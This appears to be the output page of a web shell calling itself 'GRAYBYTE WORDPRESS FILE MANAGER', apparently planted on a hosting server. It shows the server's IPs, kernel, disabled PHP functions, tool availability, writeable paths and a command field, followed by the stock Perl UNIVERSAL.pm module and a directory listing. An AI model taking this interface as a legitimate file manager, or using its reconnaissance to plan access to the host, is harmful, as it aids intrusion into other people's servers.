GRAYBYTE WORDPRESS FILE MANAGER8888

Server IP : 149.255.58.128 / Your IP : 216.73.216.69
System : Linux cloud516.thundercloud.uk 5.14.0-427.26.1.el9_4.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 17 15:51:13 EDT 2024 x86_64
PHP Version : 8.2.28
Disable Function : allow_url_include, apache_child_terminate, apache_setenv, exec, passthru, pcntl_exec, posix_kill, posix_mkfifo, posix_getpwuid, posix_setpgid, posix_setsid, posix_setuid, posix_setgid, posix_seteuid, posix_setegid, posix_uname, proc_close, proc_get_status, proc_open, proc_terminate, shell_exec, show_source, system
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /usr/share/perl5/
Upload Files :
Current_dir [ Not Writeable ] Document_root [ Writeable ]

Command :


Current File : /usr/share/perl5//UNIVERSAL.pm
package UNIVERSAL;

our $VERSION = '1.13';

# UNIVERSAL should not contain any extra subs/methods beyond those
# that it exists to define. The existence of import() below is a historical
# accident that can't be fixed without breaking code.

# Make sure that even though the import method is called, it doesn't do
# anything unless called on UNIVERSAL.
sub import {
    return unless $_[0] eq __PACKAGE__;
    return unless @_ > 1;
    require Carp;
    Carp::croak("UNIVERSAL does not export anything");
}

1;
__END__

=head1 NAME

UNIVERSAL - base class for ALL classes (blessed references)

=head1 SYNOPSIS

    $is_io    = $fd->isa("IO::Handle");
    $is_io    = Class->isa("IO::Handle");

    $does_log = $obj->DOES("Logger");
    $does_log = Class->DOES("Logger");

    $sub      = $obj->can("print");
    $sub      = Class->can("print");

    $sub      = eval { $ref->can("fandango") };
    $ver      = $obj->VERSION;

    # but never do this!
    $is_io    = UNIVERSAL::isa($fd, "IO::Handle");
    $sub      = UNIVERSAL::can($obj, "print");

=head1 DESCRIPTION

C<UNIVERSAL> is the base class from which all blessed references inherit.
See L<perlobj>.

C<UNIVERSAL> provides the following methods:

=over 4

=item C<< $obj->isa( TYPE ) >>

=item C<< CLASS->isa( TYPE ) >>

=item C<< eval { VAL->isa( TYPE ) } >>

Where

=over 4

=item C<TYPE>

is a package name

=item C<$obj>

is a blessed reference or a package name

=item C<CLASS>

is a package name

=item C<VAL>

is any of the above or an unblessed reference

=back

When used as an instance or class method (C<< $obj->isa( TYPE ) >>),
C<isa> returns I<true> if $obj is blessed into package C<TYPE> or
inherits from package C<TYPE>.

When used as a class method (C<< CLASS->isa( TYPE ) >>, sometimes
referred to as a static method), C<isa> returns I<true> if C<CLASS>
inherits from (or is itself) the name of the package C<TYPE> or
inherits from package C<TYPE>.

If you're not sure what you have (the C<VAL> case), wrap the method call in an
C<eval> block to catch the exception if C<VAL> is undefined.

If you want to be sure that you're calling C<isa> as a method, not a class,
check the invocand with C<blessed> from L<Scalar::Util> first:

  use Scalar::Util 'blessed';

  if ( blessed( $obj ) && $obj->isa("Some::Class") ) {
      ...
  }

=item C<< $obj->DOES( ROLE ) >>

=item C<< CLASS->DOES( ROLE ) >>

C<DOES> checks if the object or class performs the role C<ROLE>.  A role is a
named group of specific behavior (often methods of particular names and
signatures), similar to a class, but not necessarily a complete class by
itself.  For example, logging or serialization may be roles.

C<DOES> and C<isa> are similar, in that if either is true, you know that the
object or class on which you call the method can perform specific behavior.
However, C<DOES> is different from C<isa> in that it does not care I<how> the
invocand performs the operations, merely that it does.  (C<isa> of course
mandates an inheritance relationship.  Other relationships include aggregation,
delegation, and mocking.)

By default, classes in Perl only perform the C<UNIVERSAL> role, as well as the
role of all classes in their inheritance.  In other words, by default C<DOES>
responds identically to C<isa>.

There is a relationship between roles and classes, as each class implies the
existence of a role of the same name.  There is also a relationship between
inheritance and roles, in that a subclass that inherits from an ancestor class
implicitly performs any roles its parent performs.  Thus you can use C<DOES> in
place of C<isa> safely, as it will return true in all places where C<isa> will
return true (provided that any overridden C<DOES> I<and> C<isa> methods behave
appropriately).

=item C<< $obj->can( METHOD ) >>

=item C<< CLASS->can( METHOD ) >>

=item C<< eval { VAL->can( METHOD ) } >>

C<can> checks if the object or class has a method called C<METHOD>. If it does,
then it returns a reference to the sub.  If it does not, then it returns
I<undef>.  This includes methods inherited or imported by C<$obj>, C<CLASS>, or
C<VAL>.

C<can> cannot know whether an object will be able to provide a method through
AUTOLOAD (unless the object's class has overridden C<can> appropriately), so a
return value of I<undef> does not necessarily mean the object will not be able
to handle the method call. To get around this some module authors use a forward
declaration (see L<perlsub>) for methods they will handle via AUTOLOAD. For
such 'dummy' subs, C<can> will still return a code reference, which, when
called, will fall through to the AUTOLOAD. If no suitable AUTOLOAD is provided,
calling the coderef will cause an error.

You may call C<can> as a class (static) method or an object method.

Again, the same rule about having a valid invocand applies -- use an C<eval>
block or C<blessed> if you need to be extra paranoid.

=item C<VERSION ( [ REQUIRE ] )>

C<VERSION> will return the value of the variable C<$VERSION> in the
package the object is blessed into. If C<REQUIRE> is given then
it will do a comparison and die if the package version is not
greater than or equal to C<REQUIRE>, or if either C<$VERSION> or C<REQUIRE>
is not a "lax" version number (as defined by the L<version> module).

The return from C<VERSION> will actually be the stringified version object
using the package C<$VERSION> scalar, which is guaranteed to be equivalent
but may not be precisely the contents of the C<$VERSION> scalar.  If you want
the actual contents of C<$VERSION>, use C<$CLASS::VERSION> instead.

C<VERSION> can be called as either a class (static) method or an object
method.

=back

=head1 WARNINGS

B<NOTE:> C<can> directly uses Perl's internal code for method lookup, and
C<isa> uses a very similar method and cache-ing strategy. This may cause
strange effects if the Perl code dynamically changes @ISA in any package.

You may add other methods to the UNIVERSAL class via Perl or XS code.
You do not need to C<use UNIVERSAL> to make these methods
available to your program (and you should not do so).

=head1 EXPORTS

None.

Previous versions of this documentation suggested using C<isa> as
a function to determine the type of a reference:

  $yes = UNIVERSAL::isa($h, "HASH");
  $yes = UNIVERSAL::isa("Foo", "Bar");

The problem is that this code would I<never> call an overridden C<isa> method in
any class.  Instead, use C<reftype> from L<Scalar::Util> for the first case:

  use Scalar::Util 'reftype';

  $yes = reftype( $h ) eq "HASH";

and the method form of C<isa> for the second:

  $yes = Foo->isa("Bar");

=cut

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
May 20 2025 21:42:20
0 / root
0755
Attribute
--
May 30 2024 07:43:01
0 / root
0755
B
--
May 30 2024 07:43:01
0 / root
0755
CPAN
--
February 05 2024 20:05:52
0 / root
0755
Class
--
May 30 2024 07:43:01
0 / root
0755
Compress
--
February 05 2024 19:59:43
0 / root
0755
Config
--
May 30 2024 07:43:01
0 / root
0755
DBM_Filter
--
May 30 2024 07:43:01
0 / root
0755
Devel
--
May 30 2024 07:43:01
0 / root
0755
ExtUtils
--
May 30 2024 07:43:48
0 / root
0755
File
--
May 30 2024 07:43:01
0 / root
0755
Getopt
--
May 30 2024 07:43:01
0 / root
0755
I18N
--
May 30 2024 07:43:01
0 / root
0755
IO
--
February 05 2024 19:59:43
0 / root
0755
IPC
--
May 30 2024 07:43:01
0 / root
0755
Locale
--
April 03 2024 14:39:19
0 / root
0755
Math
--
May 30 2024 07:43:01
0 / root
0755
Memoize
--
May 30 2024 07:43:01
0 / root
0755
Module
--
May 30 2024 07:43:01
0 / root
0755
Net
--
May 30 2024 07:43:01
0 / root
0755
Pod
--
May 30 2024 07:43:01
0 / root
0755
Search
--
May 30 2024 07:43:01
0 / root
0755
Term
--
May 30 2024 07:43:01
0 / root
0755
Text
--
May 30 2024 07:43:01
0 / root
0755
Thread
--
May 30 2024 07:43:02
0 / root
0755
Tie
--
May 30 2024 07:43:02
0 / root
0755
Time
--
May 30 2024 07:43:01
0 / root
0755
URI
--
October 13 2023 17:01:25
0 / root
0755
Unicode
--
May 30 2024 07:43:01
0 / root
0755
User
--
May 30 2024 07:43:01
0 / root
0755
encoding
--
May 30 2024 07:43:02
0 / root
0755
overload
--
May 30 2024 07:43:01
0 / root
0755
pod
--
May 30 2024 07:43:01
0 / root
0755
unicore
--
May 30 2024 07:43:01
0 / root
0755
vendor_perl
--
January 17 2025 17:38:37
0 / root
0755
warnings
--
May 30 2024 07:43:01
0 / root
0755
AnyDBM_File.pm
2.557 KB
April 03 2024 14:35:12
0 / root
0644
AutoLoader.pm
15.427 KB
April 03 2024 14:39:02
0 / root
0644
AutoSplit.pm
19.177 KB
April 03 2024 14:39:02
0 / root
0644
Benchmark.pm
30.299 KB
April 03 2024 14:39:02
0 / root
0644
CORE.pod
3.113 KB
April 03 2024 14:35:12
0 / root
0644
DB.pm
18.479 KB
April 03 2024 14:39:02
0 / root
0644
DBM_Filter.pm
14.048 KB
April 03 2024 14:39:02
0 / root
0644
DirHandle.pm
2.036 KB
April 03 2024 14:39:02
0 / root
0644
Dumpvalue.pm
17.254 KB
April 03 2024 14:39:02
0 / root
0644
English.pm
4.649 KB
April 03 2024 14:39:02
0 / root
0644
FileCache.pm
5.419 KB
April 03 2024 14:39:02
0 / root
0644
FileHandle.pm
6.625 KB
April 03 2024 14:39:02
0 / root
0644
FindBin.pm
4.454 KB
April 03 2024 14:39:02
0 / root
0644
Internals.pod
2.515 KB
April 03 2024 14:35:12
0 / root
0644
Memoize.pm
35.344 KB
April 03 2024 14:39:02
0 / root
0644
NEXT.pm
18.54 KB
April 03 2024 14:39:02
0 / root
0644
PerlIO.pm
14.103 KB
April 03 2024 14:35:12
0 / root
0644
Safe.pm
24.77 KB
April 03 2024 14:39:02
0 / root
0644
SelectSaver.pm
1.051 KB
April 03 2024 14:39:02
0 / root
0644
SelfLoader.pm
17.271 KB
April 03 2024 14:39:02
0 / root
0644
Symbol.pm
4.687 KB
April 03 2024 14:39:02
0 / root
0644
Test.pm
29.338 KB
April 03 2024 14:39:02
0 / root
0644
Thread.pm
8.095 KB
April 03 2024 14:39:02
0 / root
0644
UNIVERSAL.pm
6.439 KB
April 03 2024 14:35:12
0 / root
0644
URI.pm
34.135 KB
March 03 2021 15:16:52
0 / root
0644
XSLoader.pm
10.988 KB
April 03 2024 14:35:12
0 / root
0644
_charnames.pm
33.351 KB
April 03 2024 14:35:12
0 / root
0644
autouse.pm
4.139 KB
April 03 2024 14:39:02
0 / root
0644
base.pm
10.704 KB
April 03 2024 14:39:02
0 / root
0644
blib.pm
2.014 KB
April 03 2024 14:39:02
0 / root
0644
bytes.pm
3.652 KB
April 03 2024 14:35:12
0 / root
0644
bytes_heavy.pl
0.74 KB
April 03 2024 14:35:12
0 / root
0644
charnames.pm
20.44 KB
April 03 2024 14:35:12
0 / root
0644
deprecate.pm
4.495 KB
April 03 2024 14:39:02
0 / root
0644
diagnostics.pm
18.847 KB
April 03 2024 14:39:02
0 / root
0644
dumpvar.pl
15.19 KB
April 03 2024 14:39:02
0 / root
0644
feature.pm
18.558 KB
April 03 2024 14:35:12
0 / root
0644
fields.pm
9.253 KB
April 03 2024 14:39:02
0 / root
0644
filetest.pm
3.909 KB
April 03 2024 14:39:02
0 / root
0644
if.pm
3.526 KB
April 03 2024 14:39:02
0 / root
0644
integer.pm
3.178 KB
April 03 2024 14:35:12
0 / root
0644
less.pm
3.129 KB
April 03 2024 14:39:02
0 / root
0644
locale.pm
4.741 KB
April 03 2024 14:39:02
0 / root
0644
meta_notation.pm
2.067 KB
April 03 2024 14:39:02
0 / root
0644
open.pm
8.313 KB
April 03 2024 14:39:02
0 / root
0644
overload.pm
52.053 KB
April 03 2024 14:39:02
0 / root
0644
overloading.pm
1.766 KB
April 03 2024 14:39:02
0 / root
0644
perl5db.pl
309.662 KB
April 03 2024 14:39:02
0 / root
0644
sigtrap.pm
8.531 KB
April 03 2024 14:39:02
0 / root
0644
sort.pm
3.819 KB
April 03 2024 14:39:02
0 / root
0644
strict.pm
4.627 KB
April 03 2024 14:35:12
0 / root
0644
subs.pm
0.88 KB
April 03 2024 14:39:02
0 / root
0644
utf8.pm
10.179 KB
April 03 2024 14:35:12
0 / root
0644
vars.pm
2.4 KB
April 03 2024 14:39:02
0 / root
0644
vmsish.pm
4.212 KB
April 03 2024 14:39:02
0 / root
0644
warnings.pm
49.353 KB
April 03 2024 14:35:12
0 / root
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF